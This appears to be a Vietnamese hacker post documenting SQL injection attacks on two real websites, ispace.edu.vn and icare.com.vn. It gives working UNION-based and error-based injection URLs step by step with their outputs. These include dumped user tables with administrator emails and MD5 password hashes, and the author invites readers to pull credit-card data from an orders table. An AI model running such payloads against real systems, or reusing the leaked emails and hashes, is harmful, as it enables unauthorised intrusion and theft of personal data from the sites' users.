Hack ispace.edu.vn

http://ispace.edu.vn/branch_system_ex.php?branch=9+and+31337-31337=0+--+

http://ispace.edu.vn/branch_system_ex.php?branch=-9 union select 1,2,3,4,5,6,7,8,9,10--
==> 3,4,5,6,8,9,10

http://ispace.edu.vn/branch_system_ex.php?branch=-9 union select 1,2,3,concat_ws(user(),0x3a,database(),0x3a,version()),5,6,7,8,9,10--

==>ispacedev@localhostispace_dbispacedev@localhost:ispacedev@localhost5.0.20-nt

table_name

http://ispace.edu.vn/branch_system_ex.php?branch=-9+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,10+from+information_schema.tables+where +table_schema=database()--
==>icare_address,icare_advertising,icare_config_site,icare_customer_support,icare_download,icare_forgot_password,icare_hospital_online,icare_online_support,icare_services,icare_services_category,icare_static_content,icare_users,ispace_advertising,ispace_advs_position,ispace_branch_system,ispace_c_enterprise,ispace_careers,ispace_careers_categ


column_name:
http://ispace.edu.vn/branch_system_ex.php?branch=-9 union select 1,2,3,group_concat(0x3a,column_name),5,6,7,8,9,10 from information_schema.columns--

==>:CHARACTER_SET_NAME,:DEFAULT_COLLATE_NAME,:DESCRIPTION,:MAXLEN,:COLLATION_NAME,:CHARACTER_SET_NAME,:ID,:IS_DEFAULT,:IS_COMPILED,:SORTLEN,:COLLATION_NAME,:CHARACTER_SET_NAME,:TABLE_CATALOG,:TABLE_SCHEMA,:TABLE_NAME,:COLUMN_NAME,:ORDINAL_POSITION,:COLUMN_DEFAULT,:IS_NULLABLE,:DATA_TYPE,:CHARACTER_MAXIMUM_LENGTH,:CHARACTER_OCTET_LENGTH,:NUMER

Get column_name của table_name icare_users

http://ispace.edu.vn/branch_system_ex.php?branch=-9%20union%20select%201,2,3,group_concat(column_name),5,6,7,8,9,10%20from%20information_schema.columns%20where%20table_name=(0x69636172655f7573657273)--
==>username,password,fullname,email

http://ispace.edu.vn/branch_system_ex.php?branch=-9%20union%20select%201,2,3,group_concat(username,0x7c,password,0x7c,fullname,0x7c,email),5,6,7,8,9,10%20from%20icare_users--

==>username|password|fukkname|email|
admin|4d20530e798ea62feb8d4e3e8458c1e2|Quan tri|nhanle@gmsvietnam.com|
123|202cb962ac59075b964b07152d234b70|123|hoangnhan_nl2005@yahoo.com|
sdf|d9729feb74992cc3482b350163a1a010|sdf|sdf@asd.gfh
sdfsdf|7815696ecbf1c96e6894b779456d330e|sdfsdf|sdfsdf@sdf.fgh

Đã send mail nhưng chưa thấy động tĩnh gì trong công việc bảo mật. Chắc để dành cho mấy học viên CEH thực tập. ispace.edu.vn mới khai giảng khóa dạy CEH mà

Attack Icare

*********************************
*Vittim : http://icare.com.vn                       *
*Attack : TrungTrucT2 (XGR ; MMD) *
*Error  : SQL                                           *
*********************************
Time   : Ho Chi Minh ngay 18 thang 8  nam 2011
To     : Gui cho cac tinh yeu cua toi (XGR ; MMD)
Chu De : Tan cong website : http://icare.com.vn/?php=news&id=%27

P/S: Thank ***w0rm va Jin** da giup do mot phan cho video nay (vi ly do ky thuat nen ko show het ten 2 nhan vat)
Tinh trang : da lien he admin fix loi

Http://hackingvn.blogspot.com
----------------------------------------
==> Site nay truy van nhieu ko duoc, nen cu load hoai vi vay toi lam qua luon show hinh cho ACE thay!
----------------------------------------
So nha  : 222.255.237.86
:icare.com.vn
:icare.vn
:ispace.edu.vn
:tuyensinh.ispace.edu.vn
:fit.ispace.edu.vn
:fft.ispace.edu.vn
:ilearning.ispace.edu.vn
:diendancntt.vn
:honglam.edu.vn
:istudent.vn
:istc.vn

Version : '5.0.20-nt'
User    : 'icarewebmaster@localhost'
Database: 'icare'
----------------------------------------
Tables:

ica_vn
ica_useronline
ica_user get cai nay :D
ica_sanpham
ica_qa_topic
ica_qa_question
ica_qa_answer
ica_order   <== o day cung co CC, ai thich get di :D
ica_nhomsanpham
ica_nhanhieu
ica_loaisanpham
ica_link
ica_info_topic
ica_info_cat
ica_info
ica_even?
ica_download_topic
ica_download
ica_country
ica_banner
ica_afvertising
ica_access_counter
----------------------------------------
ica_user ==> fulname|permit|usrtype|pwd|email|user_id

usrtype|email|pwd
admin|nghianx@ispace.edu.vn|c77c94c20edf86a105433f4bc671d348
admin|linhnph@ispace.edu.vn|7debeb5f14dbc228cd5bcff906b9019d
=========================================================
Lệnh truy vấn :


http://icare.com.vn/?php=news&id=(select+*+from+(select+name_const(version(),1),name_const(version(),1))a)
http://icare.com.vn/?php=news&id=(select+*+from+(select+name_const(user(),1),name_const(user(),1))a)
http://icare.com.vn/?php=news&id=(select+*+from+(select+name_const(database(),1),name_const(database(),1))a)

Get table_name:
http://icare.com.vn/?php=news&id=(select*from+(select*from(select+name_const((select+concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+1,1),0))a+join+(select+name_const((select+concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+1,1),0))b)c)
==> thay limit 1,1 = 19,1 để lấy table ica_user hoặc muốn xem hết table thì cứ việc thay limit
http://icare.com.vn/?php=news&id=%28select*from+%28select*from%28select+name_const%28%28select+concat%28table_name%29+from+information_schema.tables+where+table_schema=database%28%29+limit+19,1%29,0%29%29a+join+%28select+name_const%28%28select+concat%28table_name%29+from+information_schema.tables+where+table_schema=database%28%29+limit+19,1%29,0%29%29b%29c%29
==>table_name:  ica_user

Chuyển ica_user thành mã hex ica_user <=> 6963615f75736572 , xem bên trong của ica_user là gì ?
http://icare.com.vn/?php=news&id=(select*from+(select*from(select+name_const((select+concat(column_name)+from+information_schema.columns+where+table_name=(0x6963615f75736572)+limit+0,1),0))a+join+(select+name_const((select+concat(column_name)+from+information_schema.columns+where+table_name=(0x6963615f75736572)+limit+19,1),0))b)c)
==>usrtype,email,pwd

Thông tin admin:
http://icare.com.vn/?php=news&id=(select*from+(select*from(select+name_const((select+concat(0x7c,usrtype,0x7c,email,0x7c,pwd)+from+ica_user+limit+0,1),0))a+join+(select+name_const((select+concat(0x7c,usrtype,0x7c,email,0x7c,pwd)+from+ica_user+limit+0,1),0))b)c)
==>nghianx@ispace.edu.vn/c77c94c20edf86b105433f4bc671d348

http://icare.com.vn/?php=news&id=(select*from+(select*from(select+name_const((select+concat(0x7c,usrtype,0x7c,email,0x7c,pwd)+from+ica_user+limit+1,1),0))a+join+(select+name_const((select+concat(0x7c,usrtype,0x7c,email,0x7c,pwd)+from+ica_user+limit+1,1),0))b)c)

==>linhnph@ispace.edu.vn/7debeb5f14dbc228cd5bcff906b9019d

Hết phim!